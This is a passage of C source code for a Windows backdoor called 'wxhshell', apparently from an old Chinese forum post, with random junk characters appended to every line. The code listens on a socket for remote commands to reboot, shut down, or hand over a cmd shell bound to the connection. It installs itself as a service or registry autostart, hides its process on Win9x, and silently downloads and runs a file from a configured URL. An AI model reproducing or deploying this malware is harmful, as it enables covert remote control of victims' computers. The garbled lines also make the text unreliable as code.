  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$HbK @]!h  
  } _1Z=q.sC  
  else { @MR?6n*k  
cFd > oDS  
    switch(cmd[0]) { i=FQGWAUu  
  `ejUs]SR  
  // 帮助 y? (2U6c  
  case '?': { Ma-\^S=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $.St ej1  
    break; eDO!^.<5  
  } eEc4bVQa  
  // 安装 1[nG}  
  case 'i': { ]Al;l*yw  
    if(Install()) k5d\ w@G"~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2h30\/xkU  
    else lVH<lp_ZtK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5wtTP ;P  
    break; ']6VB,c`  
    } JHn*->m  
  // 卸载 >"X\>M`"  
  case 'r': { s'P( ,!f  
    if(Uninstall()) bJr[I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ug 7o>PX  
    else XdEPbD-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vsq8H}K  
    break; DmqX"x%P  
    } zRl~^~sY  
  // 显示 wxhshell 所在路径 DLPUqKL]  
  case 'p': { +';>=hha  
    char svExeFile[MAX_PATH]; E|"=. T  
    strcpy(svExeFile,"\n\r"); =H7xD"'%R  
      strcat(svExeFile,ExeFile); VU|dV\>  
        send(wsh,svExeFile,strlen(svExeFile),0); j|.} I  
    break; V) o,1  
    }   \J^  
  // 重启 2+8#H.  
  case 'b': { y9Y1PH7G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tYW>t9  
    if(Boot(REBOOT)) d~tuk4F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l":c  
    else { )bOBQbj  
    closesocket(wsh); }WFf''Z-  
    ExitThread(0); }7<5hn E  
    } Zwt;d5U  
    break; [K~]&  
    } 3-s}6<0v1  
  // 关机 PnT)LqEF  
  case 'd': { &FdWFt=X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gA#RM5x@  
    if(Boot(SHUTDOWN)) { Ng oYl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )+I.|5g  
    else { ZBD;a;wx  
    closesocket(wsh); R_P}~l  
    ExitThread(0); &Jc_Fc(M  
    } : DG)g3#  
    break; H( -Y  
    } >/f_F6ay#  
  // 获取shell PrF}a<:n:  
  case 's': { 2 mjV~  
    CmdShell(wsh); lB8il2&  
    closesocket(wsh); p(SRjQt  
    ExitThread(0); wVs.Vcwr  
    break; >r5P3G1  
  } !%mAh81{&/  
  // 退出 $Byj}^;1  
  case 'x': { xk~IN%\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &tR(n$ M@>  
    CloseIt(wsh); EfLO5$?rm  
    break; td2/9|Q  
    } @=S}=cl  
  // 离开 R  
  case 'q': { u?ek|%Ok  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I&c ~8Dw  
    closesocket(wsh); )-rW&"{U  
    WSACleanup(); H14Ic.&  
    exit(1); ~Z/ ^c,[:  
    break; }Y(]6$uS  
        } $V>98M>j  
  } +H/jK@  
  } 7"X>?@  
 n]W_e  
  // 提示信息 K?x,T8<aW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ge3sU5iZ  
} >r/rc`Q  
  } XhzGLYb~I`  
Rn%N&1 Ef  
  return; HY;o ^drd  
} cNpe_LvW  
}S-DB#6  
// shell模块句柄 wbyE;W  
int CmdShell(SOCKET sock) '&O/g<Z}q  
{ ^(}585b  
STARTUPINFO si; NMO-u3<6.  
ZeroMemory(&si,sizeof(si)); w JwX[\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $Kj&)&M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wle@v Cmr  
PROCESS_INFORMATION ProcessInfo; fBtm%f  
char cmdline[]="cmd"; 8{U-m0v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FxG7Pk+=  
  return 0; 6Z?j AXGSq  
} Z!xVgM{  
|xr%6 [Ff  
// 自身启动模式 `?\tUO2_T  
int StartFromService(void) W_O)~u8  
{ G}@#u9  
typedef struct %m5Q"4O  
{ \b'x t  
  DWORD ExitStatus; U7mozHS,:9  
  DWORD PebBaseAddress; xynw8;Y ,  
  DWORD AffinityMask; .N4  
  DWORD BasePriority; 7DW]JK l  
  ULONG UniqueProcessId; @(``:)Z<b  
  ULONG InheritedFromUniqueProcessId; YO{GU7  
}   PROCESS_BASIC_INFORMATION; (fD ;g9  
Thy=yz;p  
PROCNTQSIP NtQueryInformationProcess; jcCoan  
x)rlyjFM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sGDV]~E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4W4kwU6D  
$m1<i?'m  
  HANDLE             hProcess; +,+vkpL-%  
  PROCESS_BASIC_INFORMATION pbi; P=L$;xgp  
|6:=}dE#[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $$i. O}  
  if(NULL == hInst ) return 0; _fFU#k:MU  
7x]4`#u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sydh2d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,7Y-k'7Kop  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a~h:qpg c  
bo"%0 ?3n  
  if (!NtQueryInformationProcess) return 0; V{-AP=C7  
n;HHogA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r,SnXjp@  
  if(!hProcess) return 0; 8GPIZh'0 h  
c;f!!3&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z!d7&T}  
=+5,B\~q@C  
  CloseHandle(hProcess); ,?UM;^  
Eu}b8c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5/",<1  
if(hProcess==NULL) return 0; 6[ qA`x#  
pN6%&@) =  
HMODULE hMod; x"kjs.d7[<  
char procName[255]; J;t 7&Zpe  
unsigned long cbNeeded; }F6<w{|  
EO|:FcW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Ywpej*+  
d|9b~_::V  
  CloseHandle(hProcess); PW(\4Q\  
rjt8fN  
if(strstr(procName,"services")) return 1; // 以服务启动 ;?fS(Vz~  
MmPU7Nl%X  
  return 0; // 注册表启动 _3iHkQr  
} #H [Bb2(j  
EqiFy"H  
// 主模块 O-vGyNxP|  
int StartWxhshell(LPSTR lpCmdLine) *YTo{~  
{ =d 2r6%v  
  SOCKET wsl; MfF~8  
BOOL val=TRUE; #$~ba %t9%  
  int port=0; _i_Q?w`  
  struct sockaddr_in door; ->z54 T  
# M, 7  
  if(wscfg.ws_autoins) Install(); )"(]Lf's  
ql{(Lf$  
port=atoi(lpCmdLine); N(6|yZ<J3M  
mM.*b@d-  
if(port<=0) port=wscfg.ws_port; >DM44  
V~DMtB7  
  WSADATA data; :nHKl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /StTb,  
5FVndMM#y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :%&Q-kk4!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M6 9 w-  
  door.sin_family = AF_INET; B 3m_D"?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5[l8y ,  
  door.sin_port = htons(port); {U]H;~3 ?  
0l*]L`]L#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E9\vA*a  
closesocket(wsl); ' #NcZy  
return 1; k- V,~c  
} %)jxW{  
rVvR!"//yH  
  if(listen(wsl,2) == INVALID_SOCKET) { K`&oC8p  
closesocket(wsl); ,)+ o  
return 1; Jk|Q`h  
} A61^[Y,dX_  
  Wxhshell(wsl); N qHy%'R  
  WSACleanup(); (YBMsh  
%V &n*3  
return 0; [AH6~-\x  
( m\$hX  
}  mvW%  
w&$d* E  
// 以NT服务方式启动 rt3qdk5U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # ?1Sm/5k`  
{ >4Y3]6N0.F  
DWORD   status = 0; rD?L  
  DWORD   specificError = 0xfffffff; o56`  
cUqn<Z<n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -50 HB`t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a)Q!'$"'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |yyO q  
  serviceStatus.dwWin32ExitCode     = 0; B!{d-gb  
  serviceStatus.dwServiceSpecificExitCode = 0; ~ * :F{  
  serviceStatus.dwCheckPoint       = 0; 7g=2Z[o  
  serviceStatus.dwWaitHint       = 0; k$ 5 s{q  
'ckQg=zPR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,y4I[[  
  if (hServiceStatusHandle==0) return; #Lsnr.80  
O1%pxX'`S  
status = GetLastError(); sb:d>6  
  if (status!=NO_ERROR) Y3kA?p0  
{ r`&-9"+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?1L.:CS  
    serviceStatus.dwCheckPoint       = 0; 7*j (*  
    serviceStatus.dwWaitHint       = 0; eD$M<Eu  
    serviceStatus.dwWin32ExitCode     = status; L!/\8-&$P  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4${jr\q]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V^y^ ;0I}[  
    return; ')a(.f  
  } T@}|zDC#  
.)1_Ew  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _(J&aY\  
  serviceStatus.dwCheckPoint       = 0; g&dPd7  
  serviceStatus.dwWaitHint       = 0; YDC mI@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hLJM%on  
} |r ue=QZ  
{NpM.;  
// 处理NT服务事件,比如:启动、停止 _0+0#! J!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j R=s#Xz  
{ >56>*BHD  
switch(fdwControl) $'W}aER  
{ &aM7T_h8  
case SERVICE_CONTROL_STOP: ly% F."v  
  serviceStatus.dwWin32ExitCode = 0; ob+euCuJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !8 &=y  
  serviceStatus.dwCheckPoint   = 0; T5urZq*R  
  serviceStatus.dwWaitHint     = 0; 86@c't@  
  { 3mPjpm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sxjub&=  
  } l4T7'U>`  
  return; q'pK,uNW  
case SERVICE_CONTROL_PAUSE: /TS=7J#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OY[e.N t&  
  break; Cs2;z:O]  
case SERVICE_CONTROL_CONTINUE: ?!qY,9lhH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uax+dl   
  break; fEB7j-t  
case SERVICE_CONTROL_INTERROGATE: (E,T#uc{  
  break; !+u"3;%h  
}; $/Aj1j`"9+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L@=3dp!\Cu  
} sNun+xsf^  
2VW}9O  
// 标准应用程序主函数 Kn+S,1r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "CiTa>x  
{ ]weoTn:  
:akT 'q#  
// 获取操作系统版本 S"9zc ,]  
OsIsNt=GetOsVer(); "#mBcQ;QLV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S9HwIH\m  
kd"N 29  
  // 从命令行安装 a^,(v  
  if(strpbrk(lpCmdLine,"iI")) Install(); w[P4&?2:  
f#ri'&}c :  
  // 下载执行文件 0"~i ^   
if(wscfg.ws_downexe) { u!1{Vt87  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M$f7sx  
  WinExec(wscfg.ws_filenam,SW_HIDE); O25lLNmO  
} 8* Jw0mSw  
8H[:>;S I  
if(!OsIsNt) { HF|oBX$_  
// 如果时win9x,隐藏进程并且设置为注册表启动 w+1Gs ;  
HideProc(); 2Sm }On  
StartWxhshell(lpCmdLine); = k\J<  
} :qC '$dO!  
else Y^<bl2"y8  
  if(StartFromService()) +{sqcr1G  
  // 以服务方式启动 s/089jlc  
  StartServiceCtrlDispatcher(DispatchTable); )O:0 ]=#))  
else h gJ[LU|>  
  // 普通方式启动 |>@W ]CX[  
  StartWxhshell(lpCmdLine); E*i#?u  
\"hJCP?,  
return 0; e<r,&U$  
}
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只看该作者 1 发表于: 2006-10-10
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